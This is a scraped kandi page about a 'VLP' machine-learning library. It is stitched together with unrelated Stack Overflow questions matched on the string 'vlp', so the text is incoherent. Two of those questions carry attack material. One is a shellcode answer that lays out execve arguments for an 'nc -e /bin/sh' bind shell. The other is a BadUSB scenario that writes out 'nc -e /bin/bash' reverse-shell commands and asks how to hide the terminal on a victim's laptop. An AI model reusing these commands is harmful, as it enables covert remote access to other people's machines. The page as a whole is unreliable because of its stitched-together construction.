kandi X-RAY | VLP Summary
Most of the experiments in this work are performed on 8x V100 GPUs with distributed data parallel (i.e., set --world_size to 8, --local_rank and --global_rank from 0 to 7 with 8 separate scripts), unless specified otherwise. See below for detailed configurations (also in the Appendix of the paper). The (x2), (x4), (x8) in the batch size and learning rate results from distributed data parallel. Gradients are accumulated/added across GPUs.

QUESTION
I have been learning buffer overflows and i am trying to execute the following command through shellcode /bin/nc -e /bin/sh -nvlp 4455. Here is my assembly code:
ANSWER
Answered 2021-Dec-29 at 14:12As you can see in strace, the execve command executes as:
execve("/bin//nc", ["/bin//nc", "/bin//nc-e //bin/bash -nvlp 4455"], NULL) = 0
It seems to be taking the whole /bin//nc-e //bin/bash -nvlp 4455 as a single argument and thus thinks it's a hostname. In order to get around that, the three argv[] needed for execve() is pushed seperately.
argv[]=["/bin/nc", "-e/bin/bash", "-nvlp4455"]
These arguments are each pushed into edx, ecx, and ebx. since ebx needs to be /bin/nc, which was already done in the original code. we just needed to push 2nd and 3rd argv[] into ecx and edx and push it into stack. After that we just copy the whole stack into ecx, and then xor edx,edx to set edx as NULL.
Here is the correct solution:
QUESTION
This is probably easy but I am a noob in networks so please help! Basically I am trying to display lidar points from my Velodyne VLP-16 on ROS installed on Ubuntu 18.04 which is in turn installed via Parallels Desktop on my macOS.
So I plugged the velodyne's ethernet cable to my MacBook via a usb-C-to-ethernet adapter and set this on my mac:
I can type in my browser this address 192.168.1.201 and I can see the velodyne interface. So it works.
When I now go to "Ubuntu on Mac" via Parallels Desktop and do not change anything in Network->Settings->Wired->Connected so I can see these settings:
... I can still see the velodyne interface via a browser on Ubuntu by typing the 192.168.1.201 address as I can on macOS.
The only problem is that when I wanna run

Answered 2020-Jun-23 at 20:51After a thorough examination of the network traffic both on macOS and on the emulated Ubuntu using Wireshark on both ends, I realised that there is no Network adapter present in the virtual machine configuration.
Following the answer from Desktop Parallel support, I did: Ubuntu on Mac -> configure -> hardware -> add device -> network 2 -> source: USB...
and when you check now in Wireshark, you will see the traffic coming from the USB adapter and the ROS driver, via an adequate port, will capture the packets.
QUESTION
SCENARIO: the attacker insert into a victim's laptop an USB which acts as a keyboard. The payload opens a terminal, executes a reverse shell and hides the terminal.
PROBLEM: the tests I did locally (ubuntu 19.04, and digispark as usb) are the following:
ONE
terminal A nc -e /bin/bash 10.10.10.10 8888
terminal B nc -vlp 8888
Everything works, I have my shell with the prompt on the terminal B but the terminal A is not hidden. Then it is useless in this case.
TWO
terminal A nc -e /bin/bash 10.10.10.10 8888&; disown; exit
terminal B nc -vlp 8888
terminal B just hangs and terminal A is hidden. Useless.
THREE
terminal A nohup nc -e /bin/bash 10.10.10.10 8888&; exit
terminal B nc -vlp 8888
terminal B just hangs and terminal A is hidden
FOUR
terminal A: I open screen then executenc -e /bin/bash 10.10.10.10 8888 , CTRL^A , then d and finally exit.
terminal B nc -vlp 8888
using screen everything works (terminal B receives a working shell and terminal A isn't visible) but I don't want to use screen because it is not installed by default.
QUESTION: is there a way (using preinstalled tools) to hidden the terminal without screen but with the same effect?

Install VLP
You can use VLP like any standard Python library. You will need to make sure that you have a development environment consisting of a Python distribution including header files, a compiler, pip, and git installed. Make sure that your pip, setuptools, and wheel are up to date. When using pip it is generally recommended to install packages in a virtual environment to avoid changes to the system.
